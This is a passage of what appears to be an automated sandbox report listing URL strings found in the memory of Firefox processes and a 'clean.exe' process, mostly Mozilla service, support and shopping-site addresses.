                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
                  Source: firefox.exe, 00000011.00000003.2332689238.000002435E463000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
                  Source: firefox.exe, 00000011.00000003.2397264757.0000024368141000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2
                  Source: firefox.exe, 00000011.00000003.2318855591.000002435C18C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2https:
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
                  Source: firefox.exe, 00000011.00000003.2332689238.000002435E463000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
                  Source: firefox.exe, 00000011.00000003.2318855591.000002435C18C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://shavar.services.mozilla.com/gethash?client=navclient-auto-ffox&appver=118.0&pver=2.2
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
                  Source: firefox.exe, 00000011.00000003.2421599733.000002435EDDC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2449494702.000002435DB8D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://spocs.getpocket.com
                  Source: firefox.exe, 00000011.00000003.2491259190.000002435EDDC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2419798569.0000024365361000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3338371718.00000184C7212000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3339469493.0000025EFE513000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://spocs.getpocket.com/
                  Source: firefox.exe, 00000017.00000002.3339469493.0000025EFE513000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://spocs.getpocket.com/CN=The
                  Source: firefox.exe, 00000011.00000003.2347364435.0000024368369000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2477581006.000002436844B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2320965039.000002435C167000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://spocs.getpocket.com/spocs
                  Source: firefox.exe, 00000011.00000003.2477581006.000002436844B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://spocs.getpocket.com/spocs#
                  Source: firefox.exe, 00000011.00000003.2477581006.000002436844B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://spocs.getpocket.com/spocs#l
                  Source: firefox.exe, 00000011.00000003.2320965039.000002435C167000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://spocs.getpocket.com/spocsparseGridPositions/gridPositions
                  Source: firefox.exe, 00000017.00000002.3339469493.0000025EFE5F4000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://spocs.getpocket.com/user
                  Source: firefox.exe, 00000011.00000003.2320965039.000002435C167000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://spocs.getpocket.com/userdiscoverystream.personalization.modelKeys
                  Source: places.sqlite-wal.17.drString found in binary or memory: https://support.mozilla.org
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-engine-removal
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
                  Source: firefox.exe, 00000011.00000003.2479110086.0000024368141000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2329123389.000002436813E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2347995544.0000024368141000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2423809946.000002435DED1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2312295341.000002435DED1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2495309169.000002435E0F8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2486881772.0000024368141000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2397264757.0000024368141000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
                  Source: firefox.exe, 00000011.00000003.2448902266.000002435E0FB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2495309169.000002435E0F8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/firefox-relay-integration
                  Source: firefox.exe, 00000011.00000003.2413873750.000002436895F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2474832296.000002436895F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2496017415.000002435E06D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2479878785.00000243655B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://support.mozilla.org/kb/captive-portal
                  Source: places.sqlite-wal.17.drString found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
                  Source: firefox.exe, 00000011.00000003.2470456832.00000243689D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2474549451.00000243689D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2413873750.00000243689D6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsMediaPlatformDecoderNotFound
                  Source: firefox.exe, 00000011.00000003.2470456832.00000243689D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2474549451.00000243689D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2413873750.00000243689D6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsMediaWMFNeeded
                  Source: firefox.exe, 00000011.00000003.2376896050.000002435EED7000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
                  Source: firefox.exe, 00000011.00000003.2329912010.00000243633D0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2487444856.00000243633D5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2
                  Source: places.sqlite-wal.17.drString found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
                  Source: firefox.exe, 00000011.00000003.2400573242.0000024363830000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2380446020.0000024363830000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2427444409.0000024363830000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2305816782.0000024363830000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2374374159.0000024363830000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://tc39.github.io/ecma262/#sec-typeof-operator
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
                  Source: firefox.exe, 00000011.00000003.2413873750.00000243689D6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
                  Source: firefox.exe, 00000011.00000003.2413873750.00000243689D6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
                  Source: firefox.exe, 00000011.00000003.2413873750.00000243689D6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
                  Source: firefox.exe, 00000011.00000003.2413873750.00000243689D6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://topsites.services.mozilla.com/cid/
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
                  Source: firefox.exe, 00000011.00000003.2397264757.00000243681DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2477674869.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2476828386.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2326619496.0000024368363000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://twitter.com/
                  Source: firefox.exe, 00000011.00000003.2487551787.000002436336A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2329912010.000002436336A000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://upjv.info
                  Source: firefox.exe, 00000011.00000003.2492956295.000002435E463000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2332689238.000002435E463000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2486020064.000002435E463000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://upjv.info/
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
                  Source: firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
                  Source: firefox.exe, 00000011.00000003.2449029556.000002435E0EA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2495445273.000002435E0EA000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://watch.sling.com/
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://webcompat.com/issues/new
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
                  Source: firefox.exe, 00000011.00000003.2481936753.0000024365361000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2419798569.0000024365361000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://webpack.js.org/concepts/mode/)
                  Source: firefox.exe, 00000011.00000003.2314766216.0000024368ACD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2444720249.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2315959898.00000243638B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2481127797.0000024365413000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2477674869.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2476828386.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2326619496.0000024368363000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://weibo.com/
                  Source: firefox.exe, 00000011.00000003.2400573242.0000024363830000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2380446020.0000024363830000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2305170781.0000024363831000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2427444409.0000024363830000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2305816782.0000024363830000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2374374159.0000024363830000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
                  Source: clean.exe, 00000005.00000003.2151715946.0000000002FBD000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.7-zip.org/
                  Source: clean.exe, 00000005.00000003.2151715946.0000000002FBD000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.7-zip.org/faq.html
                  Source: clean.exe, 00000005.00000003.2151715946.0000000002FBD000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.7-zip.org/support.html
                  Source: firefox.exe, 00000011.00000003.2475632988.00000243684CF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2347089065.00000243684B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2326229478.00000243684B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2470762903.00000243684D1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2418178684.00000243684B2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2320965039.000002435C167000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.aliexpress.com/
                  Source: firefox.exe, 00000011.00000003.2475632988.00000243684CF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2347089065.00000243684B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2326229478.00000243684B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2470762903.00000243684D1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2418178684.00000243684B2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.amazon.ca/
                  Source: firefox.exe, 00000011.00000003.2314766216.0000024368ACD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2444720249.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2315959898.00000243638B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2477674869.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2320965039.000002435C167000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2476828386.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2326619496.0000024368363000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.amazon.co.uk/
                  Source: firefox.exe, 00000011.00000003.2329837515.0000024368108000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2477674869.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2476828386.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2326619496.0000024368363000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.amazon.com/
                  Source: firefox.exe, 00000014.00000002.3339591404.000001F5277C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3338371718.00000184C72EB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3342601193.0000025EFE703000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
                  Source: firefox.exe, 00000011.00000003.2329912010.000002436336A000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
                  Source: firefox.exe, 00000011.00000003.2475632988.00000243684CF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2347089065.00000243684B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2326229478.00000243684B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2470762903.00000243684D1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2418178684.00000243684B2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.amazon.de/
                  Source: firefox.exe, 00000011.00000003.2475632988.00000243684CF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2347089065.00000243684B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2326229478.00000243684B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2470762903.00000243684D1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2418178684.00000243684B2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.amazon.fr/
                  Source: firefox.exe, 00000011.00000003.2444720249.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2477674869.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2476828386.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2326619496.0000024368363000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.avito.ru/
                  Source: firefox.exe, 00000011.00000003.2444720249.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2477674869.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2476828386.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2326619496.0000024368363000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.baidu.com/
                  Source: firefox.exe, 00000011.00000003.2444720249.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2477674869.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2476828386.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2326619496.0000024368363000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.bbc.co.uk/
                  Source: firefox.exe, 00000014.00000002.3339591404.000001F5277C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3338371718.00000184C72EB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3342601193.0000025EFE703000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
                  Source: firefox.exe, 00000011.00000003.2444720249.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2477674869.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2476828386.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2326619496.0000024368363000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.ctrip.com/
                  Source: firefox.exe, 00000011.00000003.2500989572.00000243577AA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2503197731.00000243577AA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.digicert.com/CPS0
                  Source: firefox.exe, 00000011.00000003.2444720249.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2477674869.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2476828386.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2326619496.0000024368363000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.ebay.co.uk/
                  Source: firefox.exe, 00000011.00000003.2475632988.00000243684CF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2347089065.00000243684B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2326229478.00000243684B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2470762903.00000243684D1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2418178684.00000243684B2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.ebay.de/
                  Source: clean.exe, 00000005.00000003.2156488353.000000000425A000.00000004.00001000.00020000.00000000.sdmp, 7-ZipPortable.exe.5.drString found in binary or memory: https://www.globalsign.com/repository/0
                  Source: clean.exe, 00000005.00000003.2156488353.000000000425A000.00000004.00001000.00020000.00000000.sdmp, 7-ZipPortable.exe.5.drString found in binary or memory: https://www.globalsign.com/repository/06
                  Source: firefox.exe, 00000011.00000003.2444720249.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2477674869.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2476828386.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2326619496.0000024368363000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/
                  Source: firefox.exe, 00000011.00000003.2444720249.0000024368334000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/complete/
                  Source: firefox.exe, 00000011.00000003.2304107836.0000024365882000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2305330840.0000024368A98000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2320965039.000002435C167000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/complete/search
